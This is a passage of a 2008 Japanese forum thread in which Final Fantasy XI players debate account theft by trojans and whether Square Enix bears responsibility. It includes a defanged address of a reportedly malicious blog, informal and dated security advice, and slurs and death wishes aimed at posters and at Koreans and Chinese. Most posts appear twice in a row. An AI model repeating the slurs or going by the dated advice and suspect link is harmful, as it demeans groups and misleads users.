他の被害者の方も警察に訴えるんじゃないかなーとも思ったり
私はこれ以上は無理でしたが、他の被害者の方は諦めないで頑張ってください！
336 ：既にその名前は使われています：2008/02/02(土) 07:25:00.16 ID:cjdXiR4a
>>335
＞不正アクセスだと断定
＞１回でもゲストログインしてたらダメ
何か理解しがたいね、被害者が絶対にログインしえなかった時間・場所から
ログインがあったとしても不正アクセスとしては認めない、と言う事だよね？
＞不正アクセスだと断定
＞１回でもゲストログインしてたらダメ
何か理解しがたいね、被害者が絶対にログインしえなかった時間・場所から
ログインがあったとしても不正アクセスとしては認めない、と言う事だよね？
337 ：既にその名前は使われています：2008/02/02(土) 08:23:09.87 ID:hr/dyLZd
ユーザーがここまで頑張っているのに、見ているだけのSTTってなんなの？死ねよ？
338 ：既にその名前は使われています：2008/02/02(土) 08:51:27.67 ID:nximnMfc
現在不正アクセス受けてログイン出来ないものです
スクエア電話繋がるの月曜
メール送っても処理しなさそうなので困ってます
4時ごろ突然他のからアクセスあったとダウンしたので
連絡さえつければ問題も起こらなかったのに
どうすればいいんですかね＾＾；；
スクエア電話繋がるの月曜
メール送っても処理しなさそうなので困ってます
4時ごろ突然他のからアクセスあったとダウンしたので
連絡さえつければ問題も起こらなかったのに
どうすればいいんですかね＾＾；；
339 ：既にその名前は使われています：2008/02/02(土) 09:08:53.73 ID:bIGkUqAE
>>338
不正アクセス受けてるわりに顔文字使う余裕はあるんだねえ
不正アクセス受けてるわりに顔文字使う余裕はあるんだねえ
340 ：既にその名前は使われています：2008/02/02(土) 09:24:21.86 ID:9sz5vTCb
>>338
１番早いのは寝カフェに走って、適当にキャラ作ってログインしてＧＭ呼べ
１番早いのは寝カフェに走って、適当にキャラ作ってログインしてＧＭ呼べ
341 ：既にその名前は使われています：2008/02/02(土) 10:45:35.28 ID:Lrc7UODc
自己責任は当たり前だし。だと思う？
そのことが理解できていながら膨大なコストのかかる対策をスクエニに求めるのは何故ですか
そのことが理解できていながら膨大なコストのかかる対策をスクエニに求めるのは何故ですか
342 ：既にその名前は使われています：2008/02/02(土) 10:59:19.75 ID:9sz5vTCb
不正アクセス
パスをスクエニが盗まれた場合スクエニが悪い。
ユーザーが盗まれた場合ユーザーが悪い。
こう考えるのが普通。
お店でアルミホイールを買ってオーナーが盗まれたのと一緒
パスをスクエニが盗まれた場合スクエニが悪い。
ユーザーが盗まれた場合ユーザーが悪い。
こう考えるのが普通。
お店でアルミホイールを買ってオーナーが盗まれたのと一緒
343 ：既にその名前は使われています：2008/02/02(土) 11:02:54.26 ID:HkUBIbKW
>342
日本語変だね？
日本語変だね？
344 ：既にその名前は使われています：2008/02/02(土) 11:03:37.51 ID:Vx/7ySRO
>>341
自己防衛だけでは100%安全でないからです。
有志による垢ハック対策サイト、リネージュ資料室ですらクラッカーに狙われているんですよ？
さらにスクエニの立場に沿って言うなら、
対策や救済方法を整備しないと■eの大切な財産である「信用」がどんどん低下するからです。
信用をすり減らして儲けに走ると後々困ることになります。
それが和田社長の方針なら社員さんにはご愁傷様としか言えないね。
自己防衛だけでは100%安全でないからです。
有志による垢ハック対策サイト、リネージュ資料室ですらクラッカーに狙われているんですよ？
さらにスクエニの立場に沿って言うなら、
対策や救済方法を整備しないと■eの大切な財産である「信用」がどんどん低下するからです。
信用をすり減らして儲けに走ると後々困ることになります。
それが和田社長の方針なら社員さんにはご愁傷様としか言えないね。
345 ：既にその名前は使われています：2008/02/02(土) 11:20:42.06 ID:t5H0LoVw
誰が悪い論は被害にあった事実には関係ない。過失の度合い、酌量は裁判所などで争われる事。
被害にあったら絶対に被害届を出さなければダメだよ。
たらい回しにされようが被害にあった事を証明することに意義がある。
自分名義のアカウントがハックされている間に円を騙しとる詐欺に使われたら、無実を証明できなくなる。
RMTサイトなどで横行してる詐欺事件に巻き込まれた時に
慌ててあのアカウントは盗難された物ですと訴えても遅いんだから。
被害にあったら絶対に被害届を出さなければダメだよ。
たらい回しにされようが被害にあった事を証明することに意義がある。
自分名義のアカウントがハックされている間に円を騙しとる詐欺に使われたら、無実を証明できなくなる。
RMTサイトなどで横行してる詐欺事件に巻き込まれた時に
慌ててあのアカウントは盗難された物ですと訴えても遅いんだから。
346 ：既にその名前は使われています：2008/02/02(土) 11:44:20.71 ID:bziQvAeU
>>344
だいたい一から十まで保証してたら会社潰れるだろ。□eの権限外で起こってることだし、□eを責めるのは筋違いだろう。
垢盗まれてイラつくのは分かるが、それはニダチョン業者に向けるべきではないかね。糞業者撲滅のためにそれ専用のスレたってるから協力してやってくれ。
だいたい一から十まで保証してたら会社潰れるだろ。□eの権限外で起こってることだし、□eを責めるのは筋違いだろう。
垢盗まれてイラつくのは分かるが、それはニダチョン業者に向けるべきではないかね。糞業者撲滅のためにそれ専用のスレたってるから協力してやってくれ。
347 ：既にその名前は使われています：2008/02/02(土) 11:47:50.98 ID:JIbjvaOR
中華がサーパラブログに進出しやがったぜ。
blog■surpara■com/guysnha/
teamerblog入り
気をつけてくれよな！
blog■surpara■com/guysnha/
teamerblog入り
気をつけてくれよな！
348 ：既にその名前は使われています：2008/02/02(土) 11:51:03.42 ID:h5xoo22r
リアルタイムで被害者が出てるんだから責任論の前にもう少し親切にしる
>>338
その落とされたときにログイン合戦すればよかったんだが、もう手遅れだな…
他のところからログインされて落とされても、パスワードが変更されない限り
再び自分の側でもログインすることができる。
後にログインしたほうを優先する仕組みだから相手が諦めるまでひたすら
ログインすれば一時しのぎにはなるんだが。
今からとれる対策としては、2垢目を作るなりしてそれでGMを呼ぶか、
新しくキャラが作れないならサポセンがあく月曜の昼まで待つしかない。
あとは交渉上手なリアフレでもいるならGMを呼んで垢停止してもらえるまで粘る
って手もあるが、よほど粘らないと実現はしない。
すでに7時間経過してるなら、金目のものの引き渡し等は終わってるだろうから
今からキャラを取り戻しても真っ裸になってるのを覚悟した方がいい
あと感染原因を特定して駆除なり再インスコなりしておけよ
>>338
その落とされたときにログイン合戦すればよかったんだが、もう手遅れだな…
他のところからログインされて落とされても、パスワードが変更されない限り
再び自分の側でもログインすることができる。
後にログインしたほうを優先する仕組みだから相手が諦めるまでひたすら
ログインすれば一時しのぎにはなるんだが。
今からとれる対策としては、2垢目を作るなりしてそれでGMを呼ぶか、
新しくキャラが作れないならサポセンがあく月曜の昼まで待つしかない。
あとは交渉上手なリアフレでもいるならGMを呼んで垢停止してもらえるまで粘る
って手もあるが、よほど粘らないと実現はしない。
すでに7時間経過してるなら、金目のものの引き渡し等は終わってるだろうから
今からキャラを取り戻しても真っ裸になってるのを覚悟した方がいい
あと感染原因を特定して駆除なり再インスコなりしておけよ
349 ：既にその名前は使われています：2008/02/02(土) 11:52:41.29 ID:OT1f1iCt
350 ：既にその名前は使われています：2008/02/02(土) 11:55:41.94 ID:GCuBtEXT
被害者は■と言われるのに、その被害者に対策求めちゃいかんってナニソレ
351 ：既にその名前は使われています：2008/02/02(土) 11:59:47.97 ID:hr/dyLZd
>>342
日本語でおｋ
日本語でおｋ
352 ：既にその名前は使われています：2008/02/02(土) 12:15:45.75 ID:QitAdh/u
353 ：既にその名前は使われています：2008/02/02(土) 13:03:57.22 ID:nximnMfc
338です
もう諦めました
すぐネットスクエアホームページリンクの
ネットカフェ行くとFF11は検討中で
まだ入ってないそうです＾＾；；
警察行くとスクエアには電話で対応するしか無いので
月曜以降来て下さい
GM経由だと始めてのFF買えば済む事ですが
もうどうでも良くなった
元に戻るには100時間以上金策しないと
いけないと思いますがこつこつやろうと思います（ＴＴ）
もう諦めました
すぐネットスクエアホームページリンクの
ネットカフェ行くとFF11は検討中で
まだ入ってないそうです＾＾；；
警察行くとスクエアには電話で対応するしか無いので
月曜以降来て下さい
GM経由だと始めてのFF買えば済む事ですが
もうどうでも良くなった
元に戻るには100時間以上金策しないと
いけないと思いますがこつこつやろうと思います（ＴＴ）
354 ：既にその名前は使われています：2008/02/02(土) 13:06:47.77 ID:r6owFvbk
355 ：既にその名前は使われています：2008/02/02(土) 13:23:59.06 ID:Ta4FcHlR
teamerblogふんじまったぜ・・・・orz
teamerblogについて調べようとググったらご丁寧にサイトに飛ばしてくれた。
現在セカンドＰＣからでメインPCは速攻LANケーブル抜いてOS再インスコ中
今日PC起動してからFFは起動してないし、パスも保存してないから抜かれてはいないと思いたいが。
踏んだ俺が悪いんだが、
情報提供者はその名前がウィルス名なのか
スクリプトを含んだサイトのアドレス名なのか付け加えてもらえるとありがたい。m(_ _)m
teamerblogについて調べようとググったらご丁寧にサイトに飛ばしてくれた。
現在セカンドＰＣからでメインPCは速攻LANケーブル抜いてOS再インスコ中
今日PC起動してからFFは起動してないし、パスも保存してないから抜かれてはいないと思いたいが。
踏んだ俺が悪いんだが、
情報提供者はその名前がウィルス名なのか
スクリプトを含んだサイトのアドレス名なのか付け加えてもらえるとありがたい。m(_ _)m
356 ：既にその名前は使われています：2008/02/02(土) 13:39:16.36 ID:Fu2mdQiJ
>>353
http://www.playonline.com/ff11/guide/netcafe.html
ここから行ける↓のページにFF導入店リストがあるよ。
http://www.technoblood.com/shoplist/ff/ff.html
もし月曜まで待つのなら、今のうちに複数のオンラインスキャンで徹底的に洗っておきなね。
カスペルスキーとトレンドフレックスは試してみた方がいい。
原因を究明して二度と引っ掛からない事が肝心だよ。
http://www.playonline.com/ff11/guide/netcafe.html
ここから行ける↓のページにFF導入店リストがあるよ。
http://www.technoblood.com/shoplist/ff/ff.html
もし月曜まで待つのなら、今のうちに複数のオンラインスキャンで徹底的に洗っておきなね。
カスペルスキーとトレンドフレックスは試してみた方がいい。
原因を究明して二度と引っ掛からない事が肝心だよ。
357 ：既にその名前は使われています：2008/02/02(土) 14:22:36.06 ID:QitAdh/u
>>355
普通にわかるだろ…つかググっただけなら飛ばないだろ
普通にわかるだろ…つかググっただけなら飛ばないだろ
359 ：既にその名前は使われています：2008/02/02(土) 15:01:04.29 ID:cjdXiR4a
360 ：既にその名前は使われています：2008/02/02(土) 15:10:23.54 ID:QitAdh/u
よくわからんね。
アクセスログのうちどれが真正ゲストでどれが不正かは
ログと突き合わせないとわからないが
ユーザごときにログを公開することはできないから、とか?
アクセスログのうちどれが真正ゲストでどれが不正かは
ログと突き合わせないとわからないが
ユーザごときにログを公開することはできないから、とか?
361 ：既にその名前は使われています：2008/02/02(土) 15:46:44.54 ID:Fu2mdQiJ
なぜ一度でもゲストログインしてたらダメなのか、
理由を言ってくれなきゃ納得できるわけないよね。
何日の何時にどこそこからログインしたというユーザーの証言と
突き合わせるだけなのにね。
そもそもゲストログインってIDが保存されない以外は
通常ログインと変わらないと思うけど。
理由を言ってくれなきゃ納得できるわけないよね。
何日の何時にどこそこからログインしたというユーザーの証言と
突き合わせるだけなのにね。
そもそもゲストログインってIDが保存されない以外は
通常ログインと変わらないと思うけど。
362 ：既にその名前は使われています：2008/02/02(土) 15:58:58.12 ID:Lrc7UODc
>>344
なるほど
信用に関して、確かに信用は大事です。それが全てである職業もあります。
しかし、今回のユーザーのアカウント管理の不備による事案で信用にまで話が及ぶのでしょうか。
一部ユーザー様が起こしてしまった今回の件は、一部のユーザーで解決するべき事案であると考えます。
その際に、スクエニが手助けをすることが出来ます。その為のサポートです。
スクエニより情報が漏洩した事実はありません。
対策Webの件ですが、開設されたWebは開設した方々が責任を持って運営するべきです。
スクエニは出来うる限りバックアップしています。
どの様なWebであっても、信用できないWebをご利用にならないことが大事です。
Windowsなど全てのご使用のソフトを最新状態に保ち、同時にセキュリティソフトを利用して下さい。
万が一被害に遭われてしまった場合は、直ちにサポートへの連絡をしその指示に従って下さい。
なるほど
信用に関して、確かに信用は大事です。それが全てである職業もあります。
しかし、今回のユーザーのアカウント管理の不備による事案で信用にまで話が及ぶのでしょうか。
一部ユーザー様が起こしてしまった今回の件は、一部のユーザーで解決するべき事案であると考えます。
その際に、スクエニが手助けをすることが出来ます。その為のサポートです。
スクエニより情報が漏洩した事実はありません。
対策Webの件ですが、開設されたWebは開設した方々が責任を持って運営するべきです。
スクエニは出来うる限りバックアップしています。
どの様なWebであっても、信用できないWebをご利用にならないことが大事です。
Windowsなど全てのご使用のソフトを最新状態に保ち、同時にセキュリティソフトを利用して下さい。
万が一被害に遭われてしまった場合は、直ちにサポートへの連絡をしその指示に従って下さい。
363 ：既にその名前は使われています：2008/02/02(土) 16:02:54.71 ID:62w0/4WE
↑社員さんか何かか？
364 ：既にその名前は使われています：2008/02/02(土) 16:09:25.16 ID:TS8ayqPX
俺には至極当然の事を言っているだけに見える
365 ：既にその名前は使われています：2008/02/02(土) 17:00:24.28 ID:cjdXiR4a
とりあえず保証してくれ、何なら有償の仮想財産保険ぷり～ず；；
366 ：既にその名前は使われています：2008/02/02(土) 17:07:41.82 ID:3r3CVFIR
ユーザーに自衛を求めるのなら、■も出来うる限りの対策をすべき。
（IP規制、秘密の質問、エクレア指定のオン／オフ、金庫のパスワードロックなど）
それがサービスってもんでしょ。
LSコミュも投げやりな仕様によるアカウント情報流用、そこからしてセキュリティに
対する意識が低く、ユーザーを蔑ろにしていることは明白。
スンヂは今すぐ責任とって謝罪し対策しろ、このままだと被害は拡大、結果信用≒０だね。
（IP規制、秘密の質問、エクレア指定のオン／オフ、金庫のパスワードロックなど）
それがサービスってもんでしょ。
LSコミュも投げやりな仕様によるアカウント情報流用、そこからしてセキュリティに
対する意識が低く、ユーザーを蔑ろにしていることは明白。
スンヂは今すぐ責任とって謝罪し対策しろ、このままだと被害は拡大、結果信用≒０だね。
367 ：既にその名前は使われています：2008/02/02(土) 17:35:37.61 ID:QitAdh/u
>責任とって謝罪し
半島の人っぽくなるからやめれ
半島の人っぽくなるからやめれ
368 ：既にその名前は使われています：2008/02/02(土) 17:44:44.08 ID:nximnMfc
>>356有難う＾＾
そのホムペ見てカフェ行ったら
ＦＦ11は検討中でまだ入ってないって言われましたＷＷ
入れてからリンク貼れ！！
スクエアからのメールもまだ届いてないです
もう流れには逆らえないですね
オークション見てたらキャラって結構高値で売れる見たいですし
流れに乗ってＬＶ75キャラ育ててリアルマネイ少し稼いでから
またアイテム買い戻す事にします
業者からは絶対ギル買わないし
スクエアにこれ以上まともを求めません
重い刑事法律は守るがスクエアのルールは守りませんよ意地で！！
これから売り飛ばすキャラディスク買いに行きます＾＾
住所どうしようＷＷ
そのホムペ見てカフェ行ったら
ＦＦ11は検討中でまだ入ってないって言われましたＷＷ
入れてからリンク貼れ！！
スクエアからのメールもまだ届いてないです
もう流れには逆らえないですね
オークション見てたらキャラって結構高値で売れる見たいですし
流れに乗ってＬＶ75キャラ育ててリアルマネイ少し稼いでから
またアイテム買い戻す事にします
業者からは絶対ギル買わないし
スクエアにこれ以上まともを求めません
重い刑事法律は守るがスクエアのルールは守りませんよ意地で！！
これから売り飛ばすキャラディスク買いに行きます＾＾
住所どうしようＷＷ
369 ：既にその名前は使われています：2008/02/02(土) 17:46:16.06 ID:QitAdh/u
>>368
しね
しね
370 ：既にその名前は使われています：2008/02/02(土) 18:07:03.87 ID:r6owFvbk
>>366
■が対策をしなきゃいけない義務はないぞ。
してくれたらありがたいがな。
結局、ウィルスにさえ感染しなけりゃ
今でもＦＦする分には困らないんだからその部分を個人で
しっかりしておけばいいだけだろ。怖けりゃそれこそＦＦ以外に使わなきゃいい。
攻略サイトとかも見ないで、本かネカフェか携帯で済ませればいいよ。
■が対策をしなきゃいけない義務はないぞ。
してくれたらありがたいがな。
結局、ウィルスにさえ感染しなけりゃ
今でもＦＦする分には困らないんだからその部分を個人で
しっかりしておけばいいだけだろ。怖けりゃそれこそＦＦ以外に使わなきゃいい。
攻略サイトとかも見ないで、本かネカフェか携帯で済ませればいいよ。
371 ：既にその名前は使われています：2008/02/02(土) 18:17:33.40 ID:cjdXiR4a
いいからたいおうしてくださいおねがいしあｍす；；
372 ：既にその名前は使われています：2008/02/02(土) 18:37:38.17 ID:bziQvAeU
>>366
□eに謝罪を求めるのは筋違いも甚だしい。なんか、業者からタゲそらししたいフシがあるようだが。垢ハックしてるのは□eじゃなくて業者だぞ？
□eに謝罪を求めるのは筋違いも甚だしい。なんか、業者からタゲそらししたいフシがあるようだが。垢ハックしてるのは□eじゃなくて業者だぞ？
373 ：既にその名前は使われています：2008/02/02(土) 18:44:03.12 ID:V/5FXnZs
まあ、今時でも、ウィルスに感染した時に
プロバイダやメーカーや販売店に補償求める消費者いるからな
自分の責任棚にあげて、目に見える相手だけに噛みついて
そうやって感情主体の、理性も自制もない行動ばっかりの
程度の低い人間であるからこそ、被害に遭いやすいんだよな
振り込め詐欺だって似たようなもんだ
詐欺師が一番のクソだが、ひっかかる方もたいがいバカ。
それでいて、警察がちゃんと対策しないからだ！って吠える被害者の図だな。
プロバイダやメーカーや販売店に補償求める消費者いるからな
自分の責任棚にあげて、目に見える相手だけに噛みついて
そうやって感情主体の、理性も自制もない行動ばっかりの
程度の低い人間であるからこそ、被害に遭いやすいんだよな
振り込め詐欺だって似たようなもんだ
詐欺師が一番のクソだが、ひっかかる方もたいがいバカ。
それでいて、警察がちゃんと対策しないからだ！って吠える被害者の図だな。
374 ：既にその名前は使われています：2008/02/02(土) 18:54:30.80 ID:6k8BK/RN
最近も結構被害報告あるけど、
感染ルート特定できた人全然いないよな。
まあそういうのに無関心だから感染するんだろうけど。
正月実家帰ったら親父のPC
ノートン更新切れのまま放置されてて焦ったぜｗ
感染ルート特定できた人全然いないよな。
まあそういうのに無関心だから感染するんだろうけど。
正月実家帰ったら親父のPC
ノートン更新切れのまま放置されてて焦ったぜｗ
375 ：既にその名前は使われています：2008/02/02(土) 19:11:23.25 ID:rfFvME9j
ライトユーザーのセキュリティに関する感心の薄さは深刻だね。
最近はPCも家電化して敷居が低くなってるし、
FFはネームバリューのお陰でライトユーザーも入ってくるからね。
しかしまあ自己責任はもちろん大前提だが、
事体の重大さに比べてスクエニの注意喚起や救済策は全く足りてないとは思う。
公式には単独でトピックを立てる必要があるほどの重要事項だし、
システムメッセージで呼びかけてもいいくらいだね。
最近はPCも家電化して敷居が低くなってるし、
FFはネームバリューのお陰でライトユーザーも入ってくるからね。
しかしまあ自己責任はもちろん大前提だが、
事体の重大さに比べてスクエニの注意喚起や救済策は全く足りてないとは思う。
公式には単独でトピックを立てる必要があるほどの重要事項だし、
システムメッセージで呼びかけてもいいくらいだね。
376 ：既にその名前は使われています：2008/02/02(土) 19:34:18.22 ID:QitAdh/u
責任の度合いとしてはこんなもんだろ。
1.中華アカウントハッカー
2.脆弱なOSやブラウザやアプリ(Real、QuickTime、etc.)を出したソフトハウス
3.上記2.のパッチが出ているにもかかわらず適用しなかったユーザ
(MEやXPSP1などサポートが終了したOSを使ってる奴も含む)
これらに比べたらスクエニなんかどうでもいい(POLに脆弱性があったわけじゃない)。
POLのパスが抜きやすい構造になっているのが脆弱性だと主張するなら
堂々とIPAやJPCERT/CCに届け出ればよい。
どこかをブラウズしただけでトロイが実行されるのはWindows+IEの脆弱性など
スクエニとは何の関係も無い要因(主にMicrosoft)で、これはスクエニの分掌ではない。
注意喚起をしたら褒めてもいいが、注意喚起をしなかったからと責めるのはお門違い。
あとソースネクスト(笑)のウイルスセキュリティ(笑)とか勘弁な。
1.中華アカウントハッカー
2.脆弱なOSやブラウザやアプリ(Real、QuickTime、etc.)を出したソフトハウス
3.上記2.のパッチが出ているにもかかわらず適用しなかったユーザ
(MEやXPSP1などサポートが終了したOSを使ってる奴も含む)
これらに比べたらスクエニなんかどうでもいい(POLに脆弱性があったわけじゃない)。
POLのパスが抜きやすい構造になっているのが脆弱性だと主張するなら
堂々とIPAやJPCERT/CCに届け出ればよい。
どこかをブラウズしただけでトロイが実行されるのはWindows+IEの脆弱性など
スクエニとは何の関係も無い要因(主にMicrosoft)で、これはスクエニの分掌ではない。
注意喚起をしたら褒めてもいいが、注意喚起をしなかったからと責めるのはお門違い。
あとソースネクスト(笑)のウイルスセキュリティ(笑)とか勘弁な。
377 ：既にその名前は使われています：2008/02/02(土) 19:49:46.17 ID:QitAdh/u
Realは現状フルパッチ状態でも食われるので注意ね。
http://pc11.2ch.net/test/read.cgi/software/1201478596/4
新年早々「RealPlayer」に危険な脆弱性、「ワナ」サイトが続出
ttp://itpro.nikkeibp.co.jp/article/NEWS/20080107/290459/
Secunia ttp://secunia.com/advisories/28276/
FrSIRT ttp://frsirt.com/english/advisories/2008/0016
現時点(6.0.14.748)で未修正。
おまけ(IEじゃなきゃ安全と思ってる人向け)
Firefox脆弱性の危険度引き上げ、セッション情報流出も
ttp://www.itmedia.co.jp/news/articles/0801/31/news009.html
http://pc11.2ch.net/test/read.cgi/software/1201478596/4
新年早々「RealPlayer」に危険な脆弱性、「ワナ」サイトが続出
ttp://itpro.nikkeibp.co.jp/article/NEWS/20080107/290459/
Secunia ttp://secunia.com/advisories/28276/
FrSIRT ttp://frsirt.com/english/advisories/2008/0016
現時点(6.0.14.748)で未修正。
おまけ(IEじゃなきゃ安全と思ってる人向け)
Firefox脆弱性の危険度引き上げ、セッション情報流出も
ttp://www.itmedia.co.jp/news/articles/0801/31/news009.html
378 ：既にその名前は使われています：2008/02/02(土) 20:50:05.22 ID:K9B1orPM
age
379 ：既にその名前は使われています：2008/02/02(土) 22:25:46.68 ID:TS8ayqPX
135 名前：既にその名前は使われています[] 投稿日：2008/01/10(木) 10:15:40.71 ID:mlG6eJ/l
>>134
データ調べるのに時間と人件費がたくさん掛かるでしょ？
って事はそれだけ■は給料払わなきゃいけないでしょ？
運営側に立って判断すれば即計算できると思うんですが・・・
君たちのリアルで時間消費して苦労して取ろうがなんだろうが
そんなの君たちが勝手にやった事であり、誰も頼んで取って
もらった訳じゃないでしょ？
■はそんなことでいちいち構ってらんないよｗ
137 名前：既にその名前は使われています[] 投稿日：2008/01/10(木) 10:20:19.41 ID:mlG6eJ/l
大体さ？ハックされるのだって君たちがこんなとこ出入りして
所構わず何でも覗いてるから原因があるのかと判断してるよｗ
自分に原因があるのに、盗まれたからって■に文句言うのは
岡戸違いも甚だしい。
君たちは■に土下座してお願いする立場ではあるが、文句言う
立場では無いと言うことです。
>>134
データ調べるのに時間と人件費がたくさん掛かるでしょ？
って事はそれだけ■は給料払わなきゃいけないでしょ？
運営側に立って判断すれば即計算できると思うんですが・・・
君たちのリアルで時間消費して苦労して取ろうがなんだろうが
そんなの君たちが勝手にやった事であり、誰も頼んで取って
もらった訳じゃないでしょ？
■はそんなことでいちいち構ってらんないよｗ
137 名前：既にその名前は使われています[] 投稿日：2008/01/10(木) 10:20:19.41 ID:mlG6eJ/l
大体さ？ハックされるのだって君たちがこんなとこ出入りして
所構わず何でも覗いてるから原因があるのかと判断してるよｗ
自分に原因があるのに、盗まれたからって■に文句言うのは
岡戸違いも甚だしい。
君たちは■に土下座してお願いする立場ではあるが、文句言う
立場では無いと言うことです。
380 ：既にその名前は使われています：2008/02/02(土) 22:27:40.54 ID:TS8ayqPX
138 名前：既にその名前は使われています[] 投稿日：2008/01/10(木) 10:24:22.39 ID:mlG6eJ/l
・・・っとリアルフレが垢ハックされて警察に付き合わされて
警察と■にそう言われたフレの横で聞いてたオレが言って見る。
・・・っとリアルフレが垢ハックされて警察に付き合わされて
警察と■にそう言われたフレの横で聞いてたオレが言って見る。
381 ：既にその名前は使われています：2008/02/02(土) 23:39:18.13 ID:jRYFiXC6
>>370
不正アクセス禁止法で、運営管理者には不正アクセスを防ぐ義務が課せられてます。
IDとパスワードだけでは不十分な現状では、なんらかの対策をしてもらいたいものです。
不正アクセス行為の禁止等に関する法律
http://www.ipa.go.jp/security/ciadr/law199908.html
（アクセス管理者による防御措置）
第五条
アクセス制御機能を特定電子計算機に付加したアクセス管理者は、当該アクセス制御機能に
係る識別符号又はこれを当該アクセス制御機能により確認するために用いる符号の適正な
管理に努めるとともに、常に当該アクセス制御機能の有効性を検証し、必要があると
認めるときは速やかにその機能の高度化その他当該特定電子計算機を不正アクセス行為から
防御するため必要な措置を講ずるよう努めるものとする。
不正アクセス禁止法で、運営管理者には不正アクセスを防ぐ義務が課せられてます。
IDとパスワードだけでは不十分な現状では、なんらかの対策をしてもらいたいものです。
不正アクセス行為の禁止等に関する法律
http://www.ipa.go.jp/security/ciadr/law199908.html
（アクセス管理者による防御措置）
第五条
アクセス制御機能を特定電子計算機に付加したアクセス管理者は、当該アクセス制御機能に
係る識別符号又はこれを当該アクセス制御機能により確認するために用いる符号の適正な
管理に努めるとともに、常に当該アクセス制御機能の有効性を検証し、必要があると
認めるときは速やかにその機能の高度化その他当該特定電子計算機を不正アクセス行為から
防御するため必要な措置を講ずるよう努めるものとする。
382 ：既にその名前は使われています：2008/02/02(土) 23:40:38.78 ID:LMo/Ix60
383 ：既にその名前は使われています：2008/02/02(土) 23:58:47.52 ID:dCkz+/WJ
■に対応の義務はないって言っている奴いるが。
この事態を収拾するには■の対応が不可欠だと思うだが。
このままアカハックされる状況が続くとマズいぞ。
この事態を収拾するには■の対応が不可欠だと思うだが。
このままアカハックされる状況が続くとマズいぞ。
384 ：既にその名前は使われています：2008/02/03(日) 00:03:59.84 ID:rKCsp5KQ
>>381
サーバでの不正アクセスならそうだけどねぇ。
パス抜きが発生したのはユーザのパソコンで、パソコンの管理者はユーザ。
(付箋にパスワード書いてモニタに貼るとかトロイ踏むとかの)
ユーザによる漏洩を防ぐ義務まではないよ。
サーバでの不正アクセスならそうだけどねぇ。
パス抜きが発生したのはユーザのパソコンで、パソコンの管理者はユーザ。
(付箋にパスワード書いてモニタに貼るとかトロイ踏むとかの)
ユーザによる漏洩を防ぐ義務まではないよ。
385 ：既にその名前は使われています：2008/02/03(日) 00:09:45.31 ID:Xi+9zBbS
>>368 アカハクされたから キャラ育成してキャラ売ってリアルマネー稼いで資金の足しにするって読めてしまった。
けど キャラに外部の価値をつける人間がいるから アカハクやRMTがなくならないんだって事を理解して欲しい。
けど キャラに外部の価値をつける人間がいるから アカハクやRMTがなくならないんだって事を理解して欲しい。
386 ：既にその名前は使われています：2008/02/03(日) 00:15:04.10 ID:lIieSH8P
＞普通にググれば飛ぶことはないが
＞Googleツールバーとかで過去に検索したURLを選択すると
＞そのURLに飛ぶ。
ツールバーはそういう点で危険だね、あんまり使う機会がなければさくっと削除。
そういう危険性があるものは使わず普通にググろうぜ。
＞Googleツールバーとかで過去に検索したURLを選択すると
＞そのURLに飛ぶ。
ツールバーはそういう点で危険だね、あんまり使う機会がなければさくっと削除。
そういう危険性があるものは使わず普通にググろうぜ。
387 ：既にその名前は使われています：2008/02/03(日) 01:05:48.92 ID:rKCsp5KQ
>>383
今のスクエニの体制・対応がベストとは言わんよ。
ただ、スクエニが悪いとか義務とかってのは違うだろと思ってる。
だから要望を出すのはいいことだと思うが、責めるのは違うだろ、と。
で、スクエニに何ができるの? っつーとPOLをこまめにバージョンアップして変更するとか
啓蒙するとか定期的なパスワード変更を必須にするくらいしか無いのよね。
ただこれらが諸手をあげて賛成できるかというと、「同意する」の画面で啓蒙したところで
踏むような人ほど読み飛ばすだろうし、頻繁なパスワード変更は面倒だと文句言う奴や
そもそもパスワード間違ったとか忘れたとかでサポセンが大忙しになるのは目に見えてる。
ユーザに対する負荷と効果を天秤にかけると微妙なところ。
ま、やらんよりはやったほうがいいだろうと思うので要望としては出している。
今のスクエニの体制・対応がベストとは言わんよ。
ただ、スクエニが悪いとか義務とかってのは違うだろと思ってる。
だから要望を出すのはいいことだと思うが、責めるのは違うだろ、と。
で、スクエニに何ができるの? っつーとPOLをこまめにバージョンアップして変更するとか
啓蒙するとか定期的なパスワード変更を必須にするくらいしか無いのよね。
ただこれらが諸手をあげて賛成できるかというと、「同意する」の画面で啓蒙したところで
踏むような人ほど読み飛ばすだろうし、頻繁なパスワード変更は面倒だと文句言う奴や
そもそもパスワード間違ったとか忘れたとかでサポセンが大忙しになるのは目に見えてる。
ユーザに対する負荷と効果を天秤にかけると微妙なところ。
ま、やらんよりはやったほうがいいだろうと思うので要望としては出している。
388 ：既にその名前は使われています：2008/02/03(日) 01:07:50.00 ID:rKCsp5KQ
個人的にはPOLがWindowsUpdateのログや該当ファイルにアクセス
(IEのパッチならMSHTML.DLLのバージョンを調べる等)して
直近のパッチが当たっていない、あるいはセキュリティソフトが入っていない
(チェック基準はとりあえずXPやVistaのセキュリティセンター)なら
POLを起動させないくらいでもいいと思う。極端かつ強引かもしれんけど。
ウイルスを作ったりばら撒いたりしても現行法(国内法)では罰せないというのも痛い。
(IEのパッチならMSHTML.DLLのバージョンを調べる等)して
直近のパッチが当たっていない、あるいはセキュリティソフトが入っていない
(チェック基準はとりあえずXPやVistaのセキュリティセンター)なら
POLを起動させないくらいでもいいと思う。極端かつ強引かもしれんけど。
ウイルスを作ったりばら撒いたりしても現行法(国内法)では罰せないというのも痛い。
389 ：既にその名前は使われています：2008/02/03(日) 01:08:09.24 ID:SBl0X85N
>>387
売られたアイテムを変換してほしければそれ相当のギル払えとかの対応はクソだけどな・・・
売られたアイテムを変換してほしければそれ相当のギル払えとかの対応はクソだけどな・・・
390 ：既にその名前は使われています：2008/02/03(日) 01:31:30.83 ID:7ZmNO50L
必要のないポートをなるべく開放すると中華は喜ぶお＾＾
ファイアーウォールごと開放してくれると大喜びだお＾＾
ましてやセキュリティーソフトなしなんて最高だお＾＾
でも、不正アクセス法違反になるから中華の濡れはハックしないお＾＾;;;;;;;;;;;;;;
ファイアーウォールごと開放してくれると大喜びだお＾＾
ましてやセキュリティーソフトなしなんて最高だお＾＾
でも、不正アクセス法違反になるから中華の濡れはハックしないお＾＾;;;;;;;;;;;;;;
391 ：既にその名前は使われています：2008/02/03(日) 01:56:27.55 ID:rKCsp5KQ
392 ：既にその名前は使われています：2008/02/03(日) 01:56:45.92 ID:qmqUe3GS
まあこういう匿名の掲示板だし、アンチ的な意見もあってスレが伸びれば人目にも付くしと被害者の俺は思ってる。
■も何らかの行動には出ようとしているみたいだしね。
